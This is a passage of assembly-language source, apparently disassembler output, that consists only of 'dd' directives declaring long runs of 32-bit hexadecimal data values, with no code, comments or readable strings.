4684AF24h, 1A8AB1FAh, 80D42A5Ch dd 0E409DC64h, 0F491EC48h, 467FC22h, 1949173Fh, 48171C98h dd 89741891h, 91481714h, 0C897410h, 8914817h, 17048974h dd 20B1F248h, 380D9930h, 5C124809h, 85A8C2Ah, 88A9B6B8h dd 84AB10E8h, 0B67214C8h, 0E24099B8h, 0C4773D51h, 0A082B0CFh dd 9D811418h, 92EC9C01h, 8511412Dh, 73185301h, 8B8581FCh dd 3B1ABAC4h, 40A650E1h, 1A95A4B0h, 95515071h, 8D5A9805h dd 2CF632FBh, 742EE16h, 6C1077EFh, 19CF5036h, 5B82F308h dd 4BF7C43Ah, 3AE8A326h, 152350FCh, 72BC4A4Eh, 97D711CFh dd 8FC3533h, 0EB8BA113h, 42E31E0Fh, 93A34324h, 82BC0AEh dd 8D3B6AEBh, 0DE254AA4h, 9657AAC8h, 620FC401h, 0FCBB143Bh dd 1A1223D9h, 3F0E0E31h, 9A1DCA79h, 899FE5Eh, 9571FD0Ah dd 94ED0AAEh, 19C2600Ch, 0D207118Ah, 17886470h, 4B63A647h dd 6CAB1FEEh, 680415C5h, 6F6ADE68h, 0E66C112Ah, 347461E1h dd 27151D90h, 346AC2F7h, 6B331012h, 9F725CC7h, 440966CAh dd 0A9487C6h, 8812EC0Dh, 659408A6h, 10E98DF9h, 0D25F281Dh dd 69E47382h, 662C7F91h, 9D244EEBh, 0FBE385EFh, 183534CCh dd 3F422050h, 0E3362101h, 6742C8DDh, 600E70D8h, 0F0256651h dd 3D0A7F64h, 0DF06FF16h, 2D3D5575h, 1291AB20h, 0D7C3252Dh dd 23E388F4h, 8E535DCDh, 0B6A4188h, 52BB1989h, 567015DDh dd 7FDC4A53h, 0DC0F6230h, 0A248D005h, 682942BFh, 526E311Fh dd 553DC10Ah, 5D8D701Fh, 0DCCD2CF8h, 0DF5F02DBh, 0E759EE0h dd 10F840B9h, 1AC3F622h, 19ED7520h, 106E3F3Eh, 0E40E4D4Dh dd 97077AF6h, 2349CF26h, 0A3AC2209h, 0B86260h, 0E2DB5C0Ah dd 30B8E2C3h, 0C7F4369Ah, 41EBEC05h, 8D332FDFh, 13E8A314h dd 22F01E91h, 0F414C895h, 4432D588h, 237D4AF8h, 0C325FC11h dd 0BA03449Bh, 7DD99BF4h, 87FBA5FEh, 0CC80511Bh, 0BCD0DE0Ch dd 0DFE66DFEh, 0CF47D33h, 0E62676FEh, 49F84855h, 548568ACh dd 0CA80C46h, 1E0CF18Fh, 931DF95Eh, 0EA9CDAA8h, 58647AF0h dd 3CF631Dh, 0B508A32Ah, 6387A46Eh, 8A011B0h, 82B4E0FFh dd 8C28Eh, 4875958h, 71CD024h, 57C211D5h, 318CA164h, 0B2B4F886h dd 84F0E40Bh, 2EAC6AA4h, 0A198FBD2h, 47C7D648h, 86FD243Dh dd 4178D04Dh, 0B8CF2EA4h, 0FDD49BF8h, 0D25D7350h, 2A04FB33h dd 1B8EFCA1h, 250C033h, 1B8894Fh, 277B9BF6h, 1B1FD997h dd 0AC766714h, 5D59E5E6h, 0C6A99E31h, 0AC71651Eh, 0ED2A084Dh dd 8A1428B3h, 0F195F010h, 0DA4DFC72h, 0A1149ACEh, 0E704D897h dd 0A2E16614h, 0B7511836h, 0F12F5BABh, 0EC68958Bh, 1AC1C9F8h dd 0A04B761Bh, 708281C8h, 8BCF8B9h, 1A115BEDh, 2A794384h dd 0F2CEAF34h, 0DCE018D8h, 4BF24A6Eh, 1966189Eh, 10E40CC8h dd 8BE8201Ch, 65521CAFh, 0F40832F0h, 0FC4DF824h, 5F27465Fh dd 6526896Eh, 9E28F86Dh, 2D9C83D8h, 1CC4489h, 525D8632h dd 0C106333h, 12318DD4h, 30FF2150h, 0BC3015C9h, 6D8C974Bh dd 9CC8CC94h, 1774097Dh, 57A1BC16h, 0EB1B0BD8h, 8AF45C09h dd 0EECC25CDh, 0D560A4F4h, 8309918Dh, 8D4166E0h, 7DC76D0Fh dd 0B6012422h, 0A4D9BCCh, 14EC2340h, 0D1006A9h, 17AB0059h dd 0D823CD03h, 75E02478h, 59290B6Bh, 0BCE089E7h, 0D81C3399h dd 0FF76206Bh, 0B7A8184Fh, 69BA5DC9h, 5A1D7877h, 77A34C57h dd 9AC45F44h, 0B1FC89C6h, 0BE397C84h, 0C5051CB0h, 0A0B22FA7h dd 8D024EC3h, 4C39B604h, 0C00A7083h, 483B055Eh, 42EB7E08h dd 0F6910C1Fh, 68A4324Dh, 0AF39486Bh, 4D8FE8CAh, 89461A14h dd 72800C31h, 0C473B01h, 9404773Ah, 9B4876F0h, 85F06B89h dd 0F28C34C4h, 959A6AECh, 0F378680Eh, 94281340h, 2442995Dh dd 5012AF3Fh, 52069541h, 5CDEB8FFh, 88A50F44h, 72502A6Ch dd 52B84A02h, 0BF03E5F4h, 6A508327h, 5A8068FEh, 0E662ED83h dd 5808A134h, 881960A8h, 972E74A9h, 803D850Eh, 76348D28h dd 0B3340C8Bh, 0E20CB489h, 0F47C3048h, 1C249004h, 68016812h dd 0FDB8F92Eh, 0FF36E406h, 0EB0B1254h, 0E48F64C3h, 8AC5B8B3h dd 28CD568Dh, 0A0D42C6h, 69047981h, 5150722Ah, 39E652FAh dd 5F608ECh, 8B839CA6h, 746CBBD9h, 0A53EB76h, 8CEF4809h dd 7643064Bh, 0C6B0604h, 0D0C25B59h, 0FF6AF080h, 9D50504Dh dd 0C579BEAh, 6C6676A6h, 2F098D16h, 0D430C350h, 597BAFDCh dd 88FD40BCh, 0EE7CF5C8h, 0D82386F4h, 85C14F5h, 1C29F033h dd 78FB137Bh, 0C810BE40h, 0C811BAF5h, 400CA9F5h, 0AC0FCCBFh dd 9C89A409h, 8C249412h, 7C918448h, 0B1402B5Bh, 809F5C8h dd 9C8E0F1h, 0F62FB8ECh, 60784035h, 109E85F7h, 0F66858E3h dd 0F7602286h, 98197866h, 6DC04509h, 4360A840h, 4660A8F7h dd 5C0CA9F7h, 1C0FCC14h, 2C892409h, 3C243412h, 57914448h dd 0B5402B5Bh, 32702063h, 8809780Dh, 0CA569C24h, 0F96AE840h dd 382F3D2Eh, 0B8F8080Ch, 0A832404Bh, 0BA1158Bh, 0F4C96059h dd 0F1440FDFh, 0B5C5F22Bh, 5E309987h, 0AB523A73h, 0E2C0F21Fh dd 302E3848h, 470FBC08h, 23C39575h, 0AB52B2Fh, 5A319h dd 8D02F9C1h, 8952880Ch, 0CAC54A46h, 583E381h, 149B0C47h dd 97E779C1h, 0ACF6044h, 96163748h, 0B49B37AFh, 3E590A82h dd 6A0D7583h, 0FC230A18h, 6B8DA152h, 9D208DDh, 5A42A394h dd 5768612Dh, 1B2D4921h, 0EEA3A068h, 222FE3FFh, 0C3110C8h dd 9330110h dd 0ED6F1081h, 15EE6F93h, 9BB79B04h, 4B3142BCh, 0D4530C12h dd 12E4FAD5h, 8D1F0B8Ah, 80D70177h, 303D8319h, 0F49DB844h dd 270F717Eh, 8DF9C3B6h, 863E933Dh, 0E7FA98C7h, 3042240Dh dd 48A2B84h, 0B9A0C441h, 4053D0Eh, 0D0EB461Eh, 6D6E0AF8h dd 20D6A852h, 1C056614h, 31DA162Bh, 0A725F27h, 0C48C0F38h dd 0F2F87583h, 953EB84h, 7A8FC924h, 392C6A13h, 5E301959h dd 0A3097430h, 220AEACCh, 4FC032EBh, 0DFE783Ch, 13A958E8h dd 5C1F0808h, 3931DA89h, 0BA177506h, 2012AA53h, 81FE0441h dd 46015EADh, 266012C6h, 0F778D233h, 3BF101Ah, 8E3D70A9h dd 0F3A680BDh, 6A0C0A7Eh, 50BD5604h, 0BCA4A10Bh, 770B981h dd 0BD8A448h, 0F886CBBEh, 0EC85E230h, 2B570B0Ah, 0C68B66D8h dd 57C72358h, 91C34A40h, 0BA3D0904h, 68C81786h, 4DC1375Bh dd 75E83673h, 8EEA9F8h, 72F4B9F3h, 940CDADBh, 48CAFE84h dd 4800576h, 0AF0F09EBh, 0F1031CC5h, 56F89F0Bh, 8A06B27Ah dd 69ECAE5Fh, 0EFF36391h, 0EFF0B33Fh, 8C134F6h, 4EF8BD40h dd 44FC2022h, 4DEB3182h, 7DB8042Ah, 1C75191Bh, 3ED40114h dd 2E12483h, 7D810D06h, 80028F34h, 0C9852177h, 33F2C75h dd 0F627762Ah, 0C70114A8h, 484052Fh, 70AE223Bh, 11EBFF4Bh dd 6080B5CCh, 1BD917F6h, 35105C9h, 9B36A1C8h, 0D3F905BBh dd 90616B02h, 31F85FC1h, 8FD4A26Ch, 0AE046F1h, 29FC6BEh dd 0CBA938D2h, 3B0F1293h, 5553131Fh, 23E9C9EBh, 0D307C80Fh dd 92121F49h, 19030F2Ch, 2CD2EB47h, 0FEF0DB37h, 0EE7E8B2Dh dd 0A24FC9Ch, 15100414h, 9544DB33h, 0B00DBC93h, 149B73FFh dd 31D0465Ch, 83CFEB06h, 0C31486FDh, 4EB50275h, 711953EBh dd 2CDBEA36h, 920146F7h, 0FD04EAC2h, 0C2F71868h, 3C476894h dd 403A02C2h, 0CF0A2E3Ch, 610C269Eh, 0E4F22512h, 0C11F1DF2h dd 410F10E8h, 2B198C02h, 0E7038111h, 0E893BFF5h, 0F4369EC2h dd 9D60B8D2h, 80900385h, 40E0D189h, 8818B2EFh, 63987E01h dd 8B194202h, 0E06341E9h, 1BC228BEh, 40B266A8h, 89D25C68h dd 89C908CAh, 0F296A4C1h, 3FE28C13h, 0A3DE572Fh, 0C46053Ch dd 0F85240A8h, 3AEB0F07h, 3454DE9Eh, 144086EBh, 11F8603Eh dd 76FFAE3Fh, 5C3E1044h, 7DC636FBh, 0EB326105h, 0A21C6412h dd 71500BFBh, 66830FD4h, 0C77B4CB7h, 53BC0C0Eh, 7EE0942Dh dd 0E84D987Dh, 907ABD10h, 0E285CF2Ch, 3DD3483Fh, 32FA5B4Dh dd 0E0D5EDE0h, 6E661477h, 129EAF7h, 0C7F6E22Eh, 0ACEBE4BBh dd 2F977560h, 0E20329FAh, 2A1C195Dh, 83C1AC6Fh, 0C8C83B23h dd 0A00272F9h, 30FF578Eh, 0D9E35336h, 0F4B02940h, 4517EE6h dd 3921193h, 0FCD284DFh, 0DDC04BEBh, 0B72E7214h, 0C1C911AFh dd 0D4137D89h, 2B0A12FEh, 0BC5350C2h, 18BF41C2h, 0F2B73674h dd 2937261Eh, 0D80302BCh, 0E59918EBh, 592581E6h, 3882874h dd 0D5438753h, 0DD14C6E4h, 0F09B88Ch, 3FDC7685h, 68CC1044h dd 0C4E3C83h, 0D04EB9Ah, 9BC7BFC1h, 7B7E2BB8h, 0E5EB2EBEh dd 821AEB86h, 77EA2943h, 45FEEC0h, 0F47D39B0h, 10D20375h dd 5F539A0Ah, 0F160450Ch, 43C35B3Bh, 578B5B70h, 0C2D704D5h dd 31808708h, 2404472Bh, 955AEE05h, 874FAEC2h, 0D9F1D8FFh dd 6883C2F6h, 2974F85Dh, 0DEF0D6FBh, 6190FAC1h, 51FE33Dh dd 0B7C09514h, 44F62A80h, 800428DAh, 0FD1FC9Eh, 2273D03Bh dd 0EF0A3A24h, 3742BFB4h, 0DB62F1EBh, 4DB15389h, 36BE1416h dd 94B6A2FAh, 33247596h, 47F60E44h, 0A3AB4385h, 43572D82h dd 213210E7h, 2B8DC055h, 5EC203C1h, 0C68A0F89h, 0E6D8F80Ch dd 1C8D1F08h, 0A4BE4F85h, 0E2643904h, 2B6A4E06h, 0F47AC902h dd 805BC24Bh, 478B1D3Bh, 4C2064D4h, 0C1057DA4h, 38800B73h dd 40E48B37h, 200D4743h, 2F8534B2h, 0B83263FCh, 79750282h dd 770885DAh, 24E3160Dh, 535C8735h, 0C2AE04C5h, 7DEC4749h dd 1ED067A4h, 20485942h, 76B38B29h, 0C10324B8h, 9632696Eh dd 8A909344h, 33EA6F5Bh, 44DF0A01h, 0ABA0D401h, 245D4C03h dd 891937EFh, 0AF0DA53Ch, 0BF7CD2E2h, 0E556A589h, 6DCDB324h dd 0C140A8F1h, 0CFFC2407h, 0F3FEEB45h, 0FAFE106Ah, 4C48280h dd 0E2D70AB7h, 57169921h, 9314944Eh, 0A1DD1710h, 334C933h dd 0C195130Fh, 0EB310449h, 49549B0Dh, 474B62CCh, 172B716Ah dd 976B7950h, 6B21FA78h, 0A87B406Ah, 26EFB161h, 52E89FA6h dd 5797CF5Eh, 2181FD14h, 4C4127A7h, 0C9526856h, 223ED853h dd 39114707h, 0E3DFC7F7h, 472CC764h, 161F4484h, 0A0A438Ch dd 0A84FCF75h, 0AC128E27h, 0F5030A08h, 47080BCAh, 0C6F78AD1h dd 16099F4Dh, 700887D9h, 8A1CEB4Eh, 61461627h, 0B3B3313h dd 41084943h, 63EB641Eh, 0DCCBBA30h, 470D9BE2h, 54D3F60h dd 0F4F37549h, 5E5B270Fh, 101B1267h, 89144E1Ch, 0D07E9373h dd 62176B3h, 0C6741647h, 0D024DE72h, 75F02A48h, 448957C6h dd 0C469844Eh, 880D0233h, 109A0257h, 10ED1B32h, 740230ABh dd 8853567Ah, 0A472D2A6h, 0BB84103Ah, 0EB6FB620h, 68A1621h dd 7494F446h, 2B182549h, 51C5D429h, 0D2503584h, 2F3D9821h dd 32D2A24Bh, 868B267h, 77273B9Ch, 7AB9D312h, 6C3B48EEh dd 0FA5E33D9h, 0F547FF4Ah, 2CD9AF23h, 0C391E12h, 1355580Eh dd 0A6A5E281h, 700E1591h, 44886h, 0FB615445h, 0A0AAC9Bh dd 608907E2h, 0B10E8762h, 53A485AAh, 0A3041109h, 0F45A5080h dd 6906A0A1h, 43FD28C0h, 38057DA3h, 1655269Eh, 1910A930h dd 9C7FFF25h, 11FD2EC3h, 4AA8E8D3h, 0ED6834EBh, 30146279h dd 44D009A1h, 3B13EA74h, 0C24E7A05h, 0E81BF975h, 2E117812h dd 7624E612h, 0E2242122h, 14447248h, 7090E048h, 68A10783h dd 45EB0F12h, 2C8A9CEFh, 6508F6B7h, 1752A91Bh, 5F0A6612h dd 0B19EECEh, 0EC05DC0Ch, 0CD12977Fh, 28128053h, 750A7AACh dd 1843BFE0h, 0A35F03A5h, 2B5E46A1h, 0FC25B8B8h, 42D13477h dd 13F221F6h, 478D91F0h, 3A5075E2h, 1FF51415h, 62AD8902h dd 4B10451Dh, 56530500h, 299118Ah, 697A722Ah, 75017124h dd 0F7D94F9Fh, 43601435h, 0D0383E46h, 9EEA15A4h, 0B06D40Bh dd 752E0A20h, 5F133EF5h, 11091784h, 8D1881F0h, 61E8FF7Eh dd 6B3EB202h, 0C2E02228h, 753CE038h, 34199C4h, 66DD1865h dd 0BDAEE13Fh, 0EBDF0D23h, 6B8960B1h, 1840C28Ah, 50B7A6FAh dd 8C1BD48Bh, 9406C728h, 3D8381C6h, 3B4BA314h, 0FF64C189h dd 6980BD45h, 0AA8C0F41h, 0BC3C1CB9h, 0A18F945Ah, 20C01809h dd 96E6F375h, 135F2FE5h, 0DF3BA092h, 257D095Eh, 35E83539h dd 0CB980B7Eh, 0AE4339Ch, 0C6235870h, 0B2984EBAh, 65EBC31Dh dd 6A131514h, 800DC14h, 0F6C8B60Fh, 14A2E44h, 31F33CB8h dd 28A0A65h, 92D8B988h, 611C095Dh, 1A6E1EF7h, 0D4AAE214h dd 4D8D07A8h, 510352FCh, 0C1349255h, 994935C3h, 0A448BB8Bh dd 7421105Fh, 0D7C19FAEh, 728EA806h, 0DCD1BB0h, 5AAF08FDh dd 0D20BB661h, 6BE4F9F5h, 629890FAh, 0F2086A28h, 7D8D5903h dd 0D2ABF3E0h, 16F88207h, 5C70D8B3h, 2317F9CAh, 0CA00BFCFh dd 448DE3D2h, 186ACB05h, 7FF38A9h, 619955E5h, 0A5420633h dd 8ACD4880h, 516A6702h, 5BCED3F0h, 0E3D35200h, 8A03EEC1h dd 0E035024Ch, 774D984h, 42E24E4Bh, 0DAB30655h, 1E17CA44h dd 4A56B624h, 0E0D35815h, 75149E26h, 22801C22h, 5FEB503Bh dd 5EC22B17h, 0A2893FD2h dd 89C32356h, 0AD2DCF9Ch, 0FC42560Fh, 255AFF85h, 2D61DF4Fh dd 880B78F5h, 4EE0EF07h, 8E1810Ch, 0FB07992h, 22612B9Ch dd 0FBE5D83Bh, 1C093A19h, 9C2DE636h, 0DF2BC32Ah, 0EB087DB8h dd 5D3B4610h, 4B749A75h, 0B432350Bh, 0C49779CCh, 0A10D5187h dd 0FBC13938h, 0BBEBFA2Bh, 214A4386h, 14F34A28h, 0F74709C8h dd 0D82B9940h, 72C7133Bh, 0E875D63Eh, 0F561CC3h, 0D65082BEh dd 4AC469F6h, 0D4502E4Bh, 0A64B2AA5h, 0A87FB4CAh, 0DA9BEB49h dd 0B0C2D7DBh, 0E16B5173h, 0CD8AFC0Ah, 0BF752BC7h, 0F4E74DFBh dd 89608A5Fh, 3D1ED053h, 0D92726E3h, 20F72249h, 0AE5EF20Eh dd 0E9CB250Fh, 0F3C920FEh, 0B8468AA6h, 3AC92697h, 47705B3h dd 124FC774h, 0C641D1F7h, 633D7A5Bh, 188476A5h, 186CC20Bh dd 99102FC9h, 0F1CF0C19h, 0D081199h, 0EB1889C2h, 647BF850h dd 1054355Ch, 0E9D11C16h, 0EA1DDB9Dh, 0C90BD880h, 6EF7F475h dd 648C38F3h, 0BC0917Ch, 72D10310h, 4B3B630Eh, 11640877h dd 1857653h, 371BB493h, 0E8111424h, 0DA12FFACh, 9C83D40Eh dd 10AF5B17h, 96F4C09Ah, 1857406Fh, 43142281h, 8BD82910h dd 0EBD31130h, 4581A641h, 1F9F0D14h, 68F02281h, 0BFC54518h dd 9184E62Bh, 0D072210h, 4E01760Ch, 64106E9Ah, 3EECE473h dd 0B18EB91h, 750C0DC8h, 4210961h, 439AE1F7h, 76250C53h dd 3D32208h, 0E1E10A91h, 0B83C45D3h, 0EEFCB4F4h, 995CB24Ah dd 272B1018h, 0D3CB90h, 0F45859A5h, 2EAD9087h, 0E894D772h dd 0E4F2E092h, 0D70B27C7h, 32744B40h, 0AE25A95Eh, 3A0EB980h dd 5275070Fh, 0B6484746h, 17FA161Dh, 0BCD1383Eh, 14E1E45h dd 15F257DCh, 0A771763Bh, 0DBE87741h, 8778E3DAh, 0E012C0BEh dd 2B8376B8h, 27A2A7F3h, 0CDFCF661h, 4D3ACF57h, 0AF52610h dd 6F7E2E37h, 21D59EAh, 0B370B803h, 5F0D60B0h, 6AFFD883h dd 8BC4FD87h, 380F2016h, 0E76775CAh, 0EE7718C8h, 580EE076h dd 5D4A3011h, 6E294B5h, 0CD6A3B31h, 0A1BF8448h, 20FF205Ch dd 0D0FF02EBh, 3EEF687Ah, 440C9583h, 7FF8D90Bh, 0F0851F4h dd 0F39C14C2h, 9C67584Bh, 5BF8C2F1h, 1232313h, 8453F469h dd 0B4CC3D39h, 33CB1153h, 51695408h, 830F8D14h, 0F97A547Ch dd 3D715048h, 8847C861h, 2942C41Dh, 492A5E3Ch, 945CC292h dd 718D5660h, 0F03B0FFCh, 6CA1372h, 0EE83C198h, 0C05EFE04h dd 5EED7340h, 952C5268h, 7D4A2421h, 1138283Eh, 9933043h dd 1D085B70h, 8789147Bh, 158DBAD2h, 3BCA5A68h, 0D738AABh dd 4C6E058h, 0B4BEEDEBh, 0BD205A6Bh, 0D64E897Ch, 18FCCEEh dd 21725907h, 3A617B80h, 72651B75h, 107A027Eh, 0D7F1026Ah dd 0BA805008h, 71F0663Eh, 0AEB2543h, 34D9566h, 0DA826813h dd 43BA53Bh, 0FAE2BED3h, 65C6B05Fh, 0DC018A4Ah, 0A182F6D1h dd 304374D6h, 1AEB4048h, 2FF98012h, 5C54E687h, 2EFD43BBh dd 4A580B75h, 8D060705h, 4D810148h, 922F400Ch, 950CFE1h dd 0F28273D6h, 1094E12Ah, 0FB2B1F00h, 0D0FE3B2Eh, 6E9451BAh dd 0B2F63336h, 247E8044h, 2A32BD07h, 250B822Bh, 1A82D028h dd 3DEB2421h, 0FB3B4CD0h, 0D348722Eh, 14643FA3h, 7D788877h dd 4461C418h, 2FA0EE2Bh, 0F04ECB73h, 5794CE56h, 3E24B1E1h dd 0C828E630h, 17971446h, 0CA22A710h, 2B7B2053h, 0ACFD1888h dd 0C03E6BD8h, 0C08219BEh, 0E1FFC983h, 0B97041B8h, 298A484Fh dd 4714FD30h, 0C4970738h, 4AFBB2CBh, 0C112B3FCh, 5BFF428Dh dd 6E3355FAh, 0E4B64E3h, 905094A3h, 3AC896D8h, 28CE54A5h dd 8A137401h, 0D938420Ah, 823AD1DDh, 3B5C5184h, 0D80BEDC1h dd 81FCD4AFh, 1256100Dh, 0B4BF0AE0h, 82D24FB7h, 907CCB2Fh dd 0F183F902h, 7EC0D2FFh, 84C64BCFh, 0F4FC843Ah, 1C2D75C1h dd 0D3C81125h, 8FF10745h, 8D9EE6E9h, 5EC40380h, 0EA4C5B5Fh dd 5A422C6Bh, 3674D804h, 0F0EFCFB0h, 9C6CB0DCh, 0E1E71240h dd 15279188h, 644DC22h, 96EB34D4h, 56B2675Ch, 78170FEh dd 84FC18FDh, 3F6AFC89h, 68A21482h, 82672895h, 5BCB18D6h dd 12722C14h, 0C2F1C758h, 9662E865h, 9642F542h, 0D48AC9C0h dd 359CE9FBh, 4E531A6h, 0D398CA0h, 0C11D9867h, 0CA0308C1h dd 90941690h, 90A31880h, 95F63311h, 4A45F064h, 1C6AB601h dd 773E7A72h, 8643EF5Fh, 22B54301h, 0A37C389Ch, 0CE3239Fh dd 5F8C7A5Ah, 53A5CCD0h, 520B9F63h, 0F85B19E6h, 70D0580Ch dd 89B2A4B5h, 17023445h, 9C6C608Eh, 0F3D0E6F6h, 95F1D544h dd 6A03D500h, 3C58620Ah, 0D0FF9C75h, 0E6A44FDDh, 34801B1Ah dd 905DD48h, 0ABEC39F8h, 98EB04Ah, 981BAC98h, 0A27D5150h dd 3F847E0Ah, 7E75C8D4h, 0FBF83B98h, 3D831977h, 7A01E7D8h dd 84585523h, 92B167BEh, 0D4936839h, 6390A02Eh, 253B61B4h dd 9A265929h, 2DF4EDF4h, 601B726Bh, 105E0646h, 0F1B82A8h dd 0C33BF384h, 0EB85C140h, 0AE010844h, 4668316h, 30101099h dd 4E8B10DBh, 0FE240E08h, 464A0E89h, 99192030h, 0EF240F87h dd 0A96F02CFh, 728B2F2h, 78FE8122h, 6474FA7Ch, 53981008h dd 96D17513h, 886AD059h, 0BA15620h, 5F7AF68Ch, 571A0879h dd 1866474h, 0F82B3EE1h, 0E319262h, 3C4918B2h, 402768Bh dd 5057107Eh, 0A7077B53h, 339EBCDEh, 8582EF28h, 0CB927443h dd 0E18F425Ch, 6704481Fh, 0FEC8748Dh, 4440CD81h, 0B1AFF603h dd 2E0D7420h, 5B534649h, 8AB5B167h, 0D588CD4Dh, 47846FEBh dd 0AD5FC4F0h, 62782D53h, 4E855F48h, 0AEE11753h, 27253C92h dd 1CFAAE0Eh, 6162C02Bh, 81C7CDF4h, 0FD024822h, 0C938371h dd 1F8A0C02h, 0DF004247h, 0EC76445Ah, 0CAA04BB7h, 0A040B06h dd 8DBE0F0h, 303F0FD4h, 553914D0h, 8C0F18ECh, 0FB8031DCh dd 137C2018h, 4F7F780Ah, 8A14C30Eh, 9A68C4F2h, 3BF7E083h dd 1A2045D6h, 1FE4C684h, 0C204C905h, 0F3FC07F0h, 9A870F06h dd 0C183B563h, 4B6A14D1h, 550C0192h, 81D806CCh, 4E402E0h dd 0E9DC05FCh, 0B804B806h, 0E8832893h, 0A3B67E5h, 162D5403h dd 481FEC07h, 1D12CD1Fh, 6259A643h, 8FC7483h, 0D61328ADh dd 800CFF14h, 12629D83h, 2AFB3002h, 6A23752Dh, 0E2A45F01h dd 89C0528Fh, 0A4128D0Fh, 0D7044F47h, 9828FA00h, 0CBBE2F8Bh dd 80736790h, 0D0414405h, 8B0EE9EBh, 0D8ED8BF0h, 1E3F81CAh dd 7BF0201Eh, 0C08284D3h, 89683A2Ch, 6F683AA3h, 49617439h dd 0A9D2E74h, 28205068h, 0ACAB96Ch, 0A014B977h, 0FD4D144Dh dd 1410B2B9h, 3F072046h, 57147536h, 6334A77Fh, 518E470Eh dd 147825F7h, 0D0890919h, 1DAA51F9h, 0F66606B5h, 16CCB6CEh dd 8CDAB19h, 486613Fh, 53B121F1h, 694747ECh, 962F9A19h dd 67F83B53h, 0A51C8F13h, 4365E53Fh, 5E8496C3h, 4424585Ah dd 78E2A1F8h, 43E81841h, 1F9F129Ah, 9706EA6h, 0FC226C6Ah dd 3E98504h, 45C40012h, 750830FCh, 50C10452h, 91BFF0FEh dd 546ABEDFh, 1EB41A97h, 3378E522h, 0D767A99Fh, 9D7EDC9Ah dd 11BA0914h, 2669209Ch, 27344B54h, 0C7241ECh, 0D2854ED6h dd 758AD442h, 0CAF3C88Ch, 244015CEh, 60ABE7EBh, 20C3801Ch dd 40061492h, 0FDB8BD8Dh, 0A53B5CBEh, 0C69C7D37h, 3EC431CFh dd 0CC5106F0h, 8E305671h, 87907890h, 892F1092h, 0F4C2BF92h dd 1B1613B8h, 132AF5Ah, 12597EF4h, 32CCEA32h, 0D42950EBh dd 0CE747E5Ah, 0C5A6090Ah, 11F9FA48h, 0E15408E9h, 8859C431h dd 0D9FE3B55h, 98480923h dd 3E9F87Eh, 40039BBAh, 488B3374h, 160B044Eh, 81DF882Ch dd 0F178E3Eh, 0E8D104BFh, 0F49422AEh, 322BE7BAh, 0FA942B0Fh dd 0F213C9Ah, 2298A1B7h, 509C650Ah, 0E2B0C322h, 67154181h dd 0F00ED23Eh, 0D005732h, 8C083CCh, 0F0098950h, 4D98BCD9h dd 64409130h, 94BC1EFCh, 3BD229C9h, 0C658D9A8h, 7F03A14Bh dd 14818BECh, 6A80E681h, 7DB29A27h, 0E79E1F0h, 0E765254Dh dd 5E594394h, 0F685120Ah, 0DEC5917h, 242D574Ch, 0AC3B0D75h dd 0B9A93E2Ah, 956228E1h, 5945C8FCh, 1A0BA735h, 181BFF69h dd 44051220h, 599D489Eh, 160FA4F4h, 0C6812751h, 95F969FDh dd 4D24B129h, 1C91092h, 44D4C840h, 3C05EB27h, 0F8D1C12Bh dd 88FE4855h, 0E9F7CA98h, 139AAED7h, 45F1AAD3h, 0FF13254Eh dd 3E488508h, 984EA807h, 107CA9BCh, 8A5D7410h, 81C628CFh dd 510430EAh, 670ABD3Fh, 0EBD78802h, 22324815h, 503B1108h dd 35EB02C3h, 396C9891h, 2E9A9020h, 1DA06609h, 88903ECh dd 116A05EBh, 94E9F60Eh, 7B40656Bh, 56A530Ah, 600C7460h dd 0EB599C3Bh, 743E4150h, 400D2164h, 9B0C4BCCh, 0ABC2810h dd 25EB99C0h, 0CFB7670Ch, 0E421F26Ah, 0E0EB6108h, 50330848h dd 50741AD2h, 257FE41Bh, 0B1027C17h, 0B7F81173h, 6AF8C2F9h dd 9E6ADA48h, 4EBFA06h, 780CD018h, 83037507h, 0B31309E7h dd 0FE4E099Ah, 0FCF468BDh, 0C68B06F7h, 1575C70Bh, 0C2CBE470h dd 2C9579B7h, 31622C5Fh, 44067F96h, 20EF181Ah, 520D99F4h dd 36565750h, 5AA8F83Bh, 0EAD853AAh, 32CED1C6h, 0C01030C3h dd 3EBF7A5Fh, 0FB9460F6h, 7E1C6839h, 0D45D4C03h, 82DCF862h dd 0EB1888C3h, 2BA336B5h, 8089061Bh, 60A63502h, 32C18B3Fh dd 75303980h, 0B86AA54h, 2140654Bh, 375886C6h, 6BD89981h dd 0D9E5A01Dh, 0F6FC05CCh, 26D30EC3h, 0C2C2C7A9h, 0EB2D8BA1h dd 0B20A114h, 9D02B1Eh, 0BA2023Dh, 34EA204Bh, 0E0928161h dd 6D6CF2Bh, 0C32F464h, 859C79C5h, 206A2456h, 0BAF0491Fh dd 9B121051h, 242BEA08h, 6676E406h, 5AD32D57h, 40A3F59h dd 3021324Bh, 1A0BD149h, 8C050C41h, 1FC247Eh, 788DF88Fh dd 3DE20FFh, 0C8914367h, 0DF34D64Eh, 328721BEh, 51EA208Dh dd 461879D1h, 0C78B0A5Ah, 0D085DC4Fh, 593415EBh, 9193A8AAh dd 14ADD478h, 0BDA67404h, 364AFC28h, 5A010FAh, 0FCB7F913h dd 7C11AD69h, 0C041FD4Fh, 8C80E25h, 228C9140h, 0C3CB45C3h dd 9933134h, 802F41B1h, 449FF08h, 130E783Dh, 62A08A11h dd 122FF902h, 0B310AD5h, 0C6EC4B99h, 9FF88333h, 0C505FB10h dd 0C35D8D07h, 7F2F1DBEh, 0AA308212h, 3EBE217Eh, 0D8FE1812h dd 0BA941423h, 1C3E6CEEh, 7F21A907h, 93AA572Ah, 76FF0CDAh dd 65CC724Bh, 0CB1C7B26h, 2281106Dh, 0BE465706h, 3750AB6Dh dd 509B3F90h, 4FE26F20h, 8301C85Bh, 0BBFCFE1h, 650D53A8h dd 416DA008h, 51296498h, 66451DFCh, 0E0A11E02h, 462A54A2h dd 474A30Fh, 0D7AFC89Eh, 0BA583404h, 0E18DC817h, 0A05455F2h dd 66C19827h, 4D381281h, 48D2F05Ah, 0B013C4Ah, 8AC1030Dh dd 75881AE4h, 1B403A0Eh, 0C8014697h, 2C25B8F4h, 9A5512h dd 2F49D15Fh, 5EBC80FCh, 0D198E6B6h, 0BD30831Ah, 75022978h dd 6C12C811h, 8720586h, 31B09ADFh, 0D46C4707h, 906801EDh dd 0F06A1075h, 4684A34Eh, 0D0841840h, 71DB3387h, 3821A08Dh dd 0D806A29Dh, 3C0107BCh, 40087C61h, 2C047F7Ah, 888203Eh dd 21193841h, 166A0C42h, 0D58A587Eh, 0C91A9D9h, 0C1A0829h dd 641049EBh, 0ED2A7395h, 0B81306A0h, 0FD560CD0h, 92501B02h dd 9832F543h, 3E76685Fh, 0BC2C5F6Ah, 30E5B7D9h, 0D7C85482h dd 